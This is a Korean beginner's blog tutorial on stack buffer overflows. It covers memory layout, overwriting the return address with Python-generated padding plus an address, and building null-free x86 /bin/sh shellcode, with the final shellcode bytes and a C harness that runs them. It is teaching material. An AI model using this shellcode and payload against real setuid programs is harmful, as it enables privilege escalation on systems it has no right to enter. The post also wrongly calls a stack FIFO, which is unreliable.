Study-security에 해당하는 글 14

Buffer Over Flow for Newbie (BOF 4 Newbie) (1)

Study-security/B.O.F|2014. 1. 26. 21:48

===========================================================================================================

시작하며...

이 문서는 BOF의 개념과 간단한 실습으로 이루어져 있으며, 

BOF를 처음 접하는 사람을 대상으로 작성되었습니다.

GNU정신에 따라 작성자 표기시 자유로운 복제 및 편집이 가능합니다.

Written by EeS at @egis


----------------------------------------------------------------------------------------------------------- 목차


A. B.O.F 란?

B. 메모리 구조

C. B.O.F 원리

D. 쉘코드 만들기

E. B.O.F 실습

F. EGG SHELL?

G. 마치며



-----------------------------------------------------------------------------------------------------------


A. B.O.F란?

B.O.F는 Buffer OverFlow 의 약자로 Buffer를 넘치게 하여, 스택을 수정하는 

공격기법입니다.

Buffer는 Input/Output을 위해 데이터가 임시로 저장되는 장소이며, 스택과 힙

두 종류가 있습니다. 따라서 Buffer OverFlow attack 도 Stack Overflow 와 

Heap Overflow 두 종류가 있지만 일반적으로 BOF라 하면 Stack Overflow 를

의미하므로, 이 문서에서도 BOF는 Stack Overflow를 의미합니다.

Buffer에 예상보다 큰 정보를 입력하게 되면, Buffer가 넘쳐서(Overflow) 다른

데이터를 덮게 됩니다. 이를 통해 특정 위치에 자신이 원하는 데이터를 넣는것이

BOF기법입니다.

///////참고. Stack 이란?///////////////////////////////////////////////////////

스택(Stack)은 먼저 들어온 자료가 먼저 나가는 자료구조 입니다. 스택의 구조는

쌓여있는 책을 생각하시면 됩니다. 책이 쌓여있을 때 중간에 있는 책을 뺄 수 없다면,

맨 위에 있는 책(즉 가장 마지막에 쌓은 책) 부터 꺼내야 합니다. 스택은 이와 같이

나중에 들어온 데이터가 먼저 나가게 되므로 FIFO (First In Fisrt Out) 라고 합니다.

///////////////////////////////////////////////////////////////////////////////


B. 메모리 구조

컴퓨터가 Process를 실행시킬 때, 컴퓨터는 각 Process마다 가상의 메모리 공간을

부여합니다. 따라서 각 Process는 다른 Process를 침범하지 않는 독자적인 메모리

공간을 가질 수 있습니다.

메모리 공간은 TEXT, DATA, HEAP, STACK 으로 이루어져 있으며, TEXT 에는 Process

의 내용이 저장되며, DATA에는 전역변수와, String 값들이 저장됩니다.

HEAP에는 동적으로 생성되는 내용들이 저장되고, STACK에는 지역변수 들이 저장됩니다.

메모리 구조는 아래와 같습니다.

============================== 메모리의 높은 주소

=

= STACK

=

=▽-▽-▽-▽-▽-▽-▽-▽-▽-▽ 아래로(낮은 주소로) 성장한다.

= 즉 새로 추가되는 데이터의 시작 주소값이 더 작다.

=

=

=△-△-△-△-△-△-△-△-△-△ 위로(높은주소로) 성장한다.

= 즉 새로 추가되는 데이터의 시작 주소값이 더 크다.

= HEAP

=

=-----------------------------

=

= DATA

=

=-----------------------------

=

= TEXT

=

=============================== 메모리의 낮은 주소

위 그림에서 알수있듯 스택은 데이터가 추가될수록 낮은 주소로 성장합니다. 이는

BOF가 이뤄지는 이유가 됩니다.

보통 Process내의 함수가 실행될 때 스택의 구조는 아래와 같습니다.

============================== 메모리의 높은 주소

= 인자 값 a

= b

= - - - - - - - - - - - - - - - - - 

= RET

= - - - - - - - - - - - - - - - - -

= SFP

= - - - - - - - - - - - - - - - - -

=

= 지역변수

=

=▽-▽-▽-▽-▽-▽-▽-▽-▽-▽ 메모리의 낮은 주소

a와 b는 

int test(int a, int b)

란 함수가 있을 때 인자값으로 받는 a와 b 입니다.

인자를 받지 않을 경우 없을 수 도 있고, 여러개일 경우 더 많을수도 있습니다.

RET는 Return Addr 를 의미합니다.

해당 함수가 종료된 이후 RET에 저장된 위치로 돌아가게 됩니다.

SFP는 Stack Frame Ponier 의 약자이며, 스택의 현재 위치를 저장합니다.

위 그림에서 각 데이터는 32bit 기준으로 4byte 를 한 줄로 표기하였다.

지역변수에 새로운 내용이 추가될 때, Stack 은 메모리를 4Byte 기준으로 나누고

싶어한다. 따라서 추가되는 내용이 4Byte 이하이거나, 4로 나눠지지 않을 경우,

빈 공간을 추가해서 다음 추가되는 데이터가 4Byte 단위로 위치하도록 한다.

EX)

8-------------------------------------

| char a|빈공간 |빈공간 |빈공간 |

4-------------------------------------

| int b |

0-------------------------------------

(좌측에 있는 숫자는 주소를 의미한다.)

앞으로는 편의를 위해 가로로 나열한 모양으로 표기하도록 하겠다.

EX) [| int b | char a | SFP | RET | a | b |]

C. B.O.F 원리

BOF는 앞서 말했듯, Buffer에 예상보다 큰 정보를 입력하여, 특정 위치에 자신이 

원하는 데이터를 넣는 기법입니다. BOF가 가능한 이유는 앞서 말했듯, 스택은 높은

주소에서 낮은 주소로 성장하기 때문입니다. 아래와 같은 구조에서

---------------------------------

| int a |

---------------------------------

| b[3] |

- - - - - - - - -

| b[2] |

- int b[4] - - - - - -

| b[1] |

- - - - - - - - -

| b[0] |

---------------------------------

위 그림에서 b[4]에 16Byte 보다 큰 정보를 입력할 경우 16byte를 초과하는 데이터는

int a 가 위치하는 부분에 입력되게 됩니다. 즉 &b[4] == &a 입니다.

이 그림을 가로로 나열하면 

b[0] b[1] b[2] b[3]  a  

[| | | | | |]

입니다. 

b에 16Byte 크기만큼 'A'문자를 입력했을 때 상태는

b[0] b[1] b[2] b[3]  a  

[| AAAA |  AAAA | AAAA | AAAA | 0000 |]

입니다.

b에 17Byte 크기만큼 'A'문자를 입력한다면

b[0] b[1] b[2] b[3]  a  

[| AAAA |  AAAA | AAAA | AAAA | A000 |]

가 됩니다.

int a 와 int b[4]를 맴버 변수로 갖는 함수 test(int x, int y) 의 스택 구조라면

b[0] b[1] b[2] b[3]     a SFP RET      x         y

[| | | | | | | | | |]

High Low

와 같이 이루어져 있습니다.

이 때 RET에 저장되는 값을 바꾼다면, 해당 함수가 종료된 후, 바뀐 RET 값으로 이동

하게 됩니다. 이를 위해서는 RET 까지 거리 (b[4] + a + SFP = 24Byte) 만큼 데이터

를 입력하고 이후 이동을 원하는 주소를 입력하면 됩니다.

즉 0xffffffff 란 주소로 이동하고 싶다면, "aaaaaaaaaaaaaaaaaaaaaaaa"+0xffffffff

를 입력값으로 준다면 스택이 아래와 같이 채워집니다.


b[0] b[1] b[2] b[3]  a SFP RET     x        y

[| aaaa | aaaa | aaaa | aaaa | aaaa | aaaa | 0xffffffff| | |]

High Low


리눅스에서 이와 같은 동작을 위해 주로 Python을 이용하게 됩니다.

./test `python -c 'print "a"*24+"\xff\xff\xff\xff"'`

과 같이 입력할 경우, argc 값에 "aaaaaaaaaaaaaaaaaaaaaaaa"+0xffffffff가 들어가게

됩니다.

만약 scanf등의 함수의 입력값으로 넣고싶다면,

python -c 'print "a"*24+"\xff\xff\xff\xff"' | ./test

와 같이 입력하면 됩니다.

즉 BOF의 과정은 

1. 특정 위치에 실행하고싶은 코드를 작성합니다 

2. RET을 해당 위치로 바꿔줍니다.

3. END

입니다.

보통 BOF는 setuid가 걸린 프로그램에서 쉘을 실행시키는게 목적이므로, 작성하는

코드는 쉘을 실행시키는 코드가 됩니다,

D. 쉘코드 만들기

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0

\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80

\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh

위 문자열은 구글링을 통해 얻을수 있는 쉘코드 입니다.

쉘코드는 assembly명령어를 기계어로 바꾼 문자열 입니다. 이를 위해 disassemble

이 필요합니다.

쉘코드를 만들기 위해 처음부터 어셈블로 쉘을 실행시키는 코드를 짜도 되지만,

편의를 위해 c로 짠 바이너리를 disassemble 하여 어셈블리 코드를 얻도록 합니다.

쉘을 실행시키기 위한 c언어 코드는 아래와 같습니다.

#include<stdio.h>

int main()

{

char *str[2];

str[0] = "/bin/sh";

str[1] = NULL;

execve(str[0] , str, NULL);

}

이 코드를 gcc에 -static 옵션을 줘서 컴파일 하도록 합니다.

gcc -o shell shell.c -static

해당 코드를 gdb를 활용해 disassemble 하면, 아래와 같은 화면을 볼 수 있습니다.

[root@aegis shell]# gdb execl

(gdb) disas main

Dump of assembler code for function main:

0x080481d0 <main+0>: push   %ebp

0x080481d1 <main+1>: mov    %esp,%ebp

0x080481d3 <main+3>: sub    $0x8,%esp

0x080481d6 <main+6>: and    $0xfffffff0,%esp

0x080481d9 <main+9>: mov    $0x0,%eax

0x080481de <main+14>: sub    %eax,%esp

0x080481e0 <main+16>: movl   $0x808ef88,0xfffffff8(%ebp)

0x080481e7 <main+23>: movl   $0x0,0xfffffffc(%ebp)

0x080481ee <main+30>: sub    $0x4,%esp

0x080481f1 <main+33>: push   $0x0

0x080481f3 <main+35>: lea    0xfffffff8(%ebp),%eax

0x080481f6 <main+38>: push   %eax

0x080481f7 <main+39>: pushl  0xfffffff8(%ebp)

0x080481fa <main+42>: call   0x804d9f0 <execve>

0x080481ff <main+47>: add    $0x10,%esp

0x08048202 <main+50>: leave  

0x08048203 <main+51>: ret    

End of assembler dump.

(gdb)

main+42 부분에서 execve 로 넘어가므로, execve 함수도 disassemble 해보도록 합니다.

(gdb) disas execve

Dump of assembler code for function execve:

0x0804d9f0 <execve+0>: push   %ebp

0x0804d9f1 <execve+1>: mov    $0x0,%eax

0x0804d9f6 <execve+6>: mov    %esp,%ebp

0x0804d9f8 <execve+8>: test   %eax,%eax

0x0804d9fa <execve+10>: push   %edi

0x0804d9fb <execve+11>: push   %ebx

0x0804d9fc <execve+12>: mov    0x8(%ebp),%edi

0x0804d9ff <execve+15>: je     0x804da06 <execve+22>

0x0804da01 <execve+17>: call   0x0

0x0804da06 <execve+22>: mov    0xc(%ebp),%ecx

0x0804da09 <execve+25>: mov    0x10(%ebp),%edx

0x0804da0c <execve+28>: push   %ebx

0x0804da0d <execve+29>: mov    %edi,%ebx

0x0804da0f <execve+31>: mov    $0xb,%eax

0x0804da14 <execve+36>: int    $0x80

0x0804da16 <execve+38>: pop    %ebx

0x0804da17 <execve+39>: cmp    $0xfffff000,%eax

0x0804da1c <execve+44>: mov    %eax,%ebx

0x0804da1e <execve+46>: ja     0x804da26 <execve+54>

0x0804da20 <execve+48>: mov    %ebx,%eax

0x0804da22 <execve+50>: pop    %ebx

0x0804da23 <execve+51>: pop    %edi

0x0804da24 <execve+52>: leave  

0x0804da25 <execve+53>: ret    

0x0804da26 <execve+54>: neg    %ebx

0x0804da28 <execve+56>: call   0x80485fc <__errno_location>

0x0804da2d <execve+61>: mov    %ebx,(%eax)

0x0804da2f <execve+63>: mov    $0xffffffff,%ebx

0x0804da34 <execve+68>: jmp    0x804da20 <execve+48>

0x0804da36 <execve+70>: nop    

0x0804da37 <execve+71>: nop    

End of assembler dump.

(gdb)

int $0x80 은 리눅스에서 Syscall 을 호출하는 인터럽트 입니다. 따라서 int $0x80에

브레이크 포인트를 설정하고 각 레지스터에 들어있는 값을 확인해 보도록 합니다. 

(gdb) b *execve+36 

Breakpoint 1 at 0x804da14

(gdb) run

Starting program: /root/shell/execl 

Breakpoint 1, 0x0804da14 in execve ()

(gdb) info reg

eax            0xb 11

ecx            0xbfffece0 -1073746720

edx            0x0 0

ebx            0x808ef88 134803336

esp            0xbfffecbc 0xbfffecbc

ebp            0xbfffecc8 0xbfffecc8

esi            0x2d 45

edi            0x808ef88 134803336

eip            0x804da14 0x804da14

eflags         0x246 582

cs             0x23 35

ss             0x2b 43

ds             0x2b 43

es             0x2b 43

fs             0x0 0

gs             0x0 0

(gdb) x/x $eax

0xb: Cannot access memory at address 0xb

(gdb) x/s $ebx

0x808ef88 <_IO_stdin_used+4>: "/bin/sh"

(gdb) x/x $ecx

0xbfffece0: 0x0808ef88

(gdb) x/x $edx

0x0: Cannot access memory at address 0x0

(gdb) 

즉, 각 레지스터에 저장되는 값은 아래와 같습니다.

%eax = 0xb ; execve 시스템 콜 번호

%ebx = str[0] ; "/bin/sh" 문자열 시작 주소

%ecx = str ; 배열 포인터의 시작 주소

%edx = 0 ; NULL

해당 바이너리의 어셈블리 코드를 얻기 위하여 gcc로 컴파일 합니다.

[root@aegis shell]# gcc -S execl.c

만들어진 코드는 아래와 같습니다.

.file "execl.c"

.section .rodata

.LC0:

.string "/bin/sh"

.text

.globl main

.type main,@function

main:

pushl %ebp

movl %esp, %ebp

subl $8, %esp

andl $-16, %esp

movl $0, %eax

subl %eax, %esp

movl $.LC0, -8(%ebp)

movl $0, -4(%ebp)

subl $4, %esp

pushl $0

leal -8(%ebp), %eax

pushl %eax

pushl -8(%ebp)

call execve

addl $16, %esp

leave

ret

.Lfe1:

.size main,.Lfe1-main

.ident "GCC: (GNU) 3.2.2 20030222 (Red Hat Linux 3.2.2-5)"

해당 코드와 각 레지스터에 들어가는 값을 기반으로, 쉘코드를 작성합니다.

.global main

.LC0:

         .string "/bin/sh"

main:

         movl $.LC0, %ebx

         push $0x0

         push %ebx

         movl %esp, %ecx

         movl $0x0, %edx

         movl $0xb, %eax

         int $0x80

         leave

         ret

[root@ftz shell]# gcc execl.s

[root@ftz shell]# ./a.out 

sh-2.05b# 

작성된 코드는 정상 작동하지만, BOF공격엔 사용할수 없습니다. 

우선 특정 위치에 "/bin/sh"문자열이 포함되있어야만 정상 작동을 하지만, BOF공격에

사용하기 위해, text부분만을 사용할 시 해당 문자열이 저장되어있지 않습니다.

이를 해결하기 위해 아래와 같이 코드를 변경합니다.

.global main

shell:

pop %ebx

         push $0x0

         push %ebx

         movl %esp, %ecx

         movl $0x0, %edx

         movl $0xb, %eax

         int $0x80

main:

call shell

.string "/bin/sh"


call을 사용시 다음 실행될 주소를 스택에 저장합니다.(RET) 따라서 call 다음 주소에

"/bin/sh/"를 넣어두면, "/bin/sh/"의 주소가 스택에 저장되어 해당 주소를 이용할 수

있습니다. 따라서 movl $.LC0, %ebx 이 pop %ebx 으로 변경되었습니다.

하지만, 아직 BOF에 사용할수 없습니다.

$0x0이 있기 때문입니다. 0x00은 문자열의 끝을 의미하므로 이대로 기계어로 바꾼 다음

입력하게 되면, 0x00에서 입력이 종료됩니다.

따라서 0x00을 제거하여야 합니다.

0x00을 제거하기 위해서 xor을 사용하여 특정 레지스터에 0을 저장한 다음 사용합니다.

이를 적용하면 코드가 아래와 같이 변경됩니다.

.global main

shell:

pop %ebx

xor %edx, %edx

         push %edx

         push %ebx

         movl %esp, %ecx

         movl $0xb, %eax

         int $0x80

main:

call shell

.string "/bin/sh"

0x0을 사용하지 않았지만, $0xb가 0x0b000000 이므로, 00 이 여전히 존재합니다.

이를 해결하기 위해선 %eax를 0x00000000 으로 바꾼 다음 앞 부분만 0b로 바꿔주면

해결됩니다. 이를 위해 1byte 레지스터인 al을 사용합니다.

.global main

shell:

pop %ebx

xor %eax, %eax

xor %edx, %edx

         push %eax

         push %ebx

         movl %esp, %ecx

         mov $0xb, %al

         int $0x80

main:

call shell

.string "/bin/sh"

이제 완성된 쉘코드를 기계어로 바꾸기 위해 objdump를 사용합니다.

[root@aegis shell]# objdump -d a.out

위 명령어를 입력하면, 해당 바이너리가 기계어로 분석됩니다. 우리는 그 중 main과

shell을 사용합니다.

080482f4 <shell>:

80482f4: 5b                   pop    %ebx

80482f5: 31 c0                 xor    %eax,%eax

80482f7: 31 d2                 xor    %edx,%edx

80482f9: 50                   push   %eax

80482fa: 53                   push   %ebx

80482fb: 89 e1                 mov    %esp,%ecx

80482fd: b0 0b                 mov    $0xb,%al

80482ff: cd 80                 int    $0x80

08048301 <main>:

8048301: e8 ee ff ff ff       call   80482f4 <shell>

8048306: 2f                   das    

8048307: 62 69 6e             bound  %ebp,0x6e(%ecx)

804830a: 2f                   das    

804830b: 73 68                 jae    8048375 <__do_global_ctors_aux+0x1>

완성된 쉘코드는 

\x5b\x31\xc0\x31\xd2\x50\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff

\x2f\x62\x69\x6e\x2f\x73\x68

입니다.

char shellcode[] =

"\x5b\x31\xc0\x31\xd2\x50\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff

\x2f\x62\x69\x6e\x2f\x73\x68";

main() 

{

int *ret;

ret = (int *)&ret + 2;

(*ret) = (int)shellcode;

}

위 코드를 통해 완성된 쉘코드가 정상 동작하는것을 확인해볼수 있습니다.



댓글()